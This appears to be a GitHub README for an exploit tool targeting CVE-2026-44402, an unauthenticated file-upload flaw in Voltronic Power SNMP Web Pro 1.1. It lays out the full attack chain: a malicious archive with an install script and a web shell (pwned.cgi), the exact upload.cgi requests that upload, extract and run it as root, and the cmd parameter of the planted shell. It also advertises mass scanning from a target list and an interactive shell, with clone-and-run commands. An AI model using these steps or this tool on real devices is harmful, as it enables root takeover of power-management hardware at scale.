
Exploit for CVE-2026-44402 targeting Voltronic Power SNMP Web Pro 1.1, enabling unauthenticated remote code execution via malicious firmware upload. Supports single-target and mass scanning with interactive shell.
Critical Unauthenticated Remote Code Execution (CVSS 9.8) — Voltronic Power SNMP Web Pro 1.1
This tool exploits CVE-2026-44402, a vulnerability in the Voltronic Power SNMP Web Pro 1.1 device that allows unauthenticated attackers to upload a malicious firmware archive and execute system commands as root via the upload.cgi endpoint.
| Property | Value |
|---|
| CVE ID | CVE-2026-44402 |
| CVSS Score | 9.8 (Critical) |
| CWE | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| Affected Product | Voltronic Power SNMP Web Pro 1.1 |
| Auth Required | TIDAK (unauthenticated) |
| Attack Vector | Network-based (remote) |
| Privilege | Root-level RCE |
The vulnerability exists in the firmware update functionality (upload.cgi). The endpoint:
Create Malicious Archive
upgrade/install.sh — installation scriptupgrade/pwned.cgi — web shellUpload Archive → POST /cgi-bin/upload.cgi?name=upgrade&?params=upload
"ACK" if successfulExtract Archive → GET /cgi-bin/upload.cgi?name=upgrade&?params=extract
"ACK" if successfulInstall → GET /cgi-bin/upload.cgi?name=upgrade&?params=install
install.sh is executed as root"ACK" if successfulWeb Shell Active → POST /cgi-bin/pwned.cgi
cmd parameter → RCE! 🚀-u)-f targets.txt)-t 20) — fast parallel processing--shell) with cd supporturl | output format--proxy)--timeout)-v) for debuggingrequests and prompt_toolkit# Clone the repository
git clone https://github.com/0xCyp1337/CVE-2026-44402.git
cd CVE-2026-44402
python3 CVE-2026-44402.py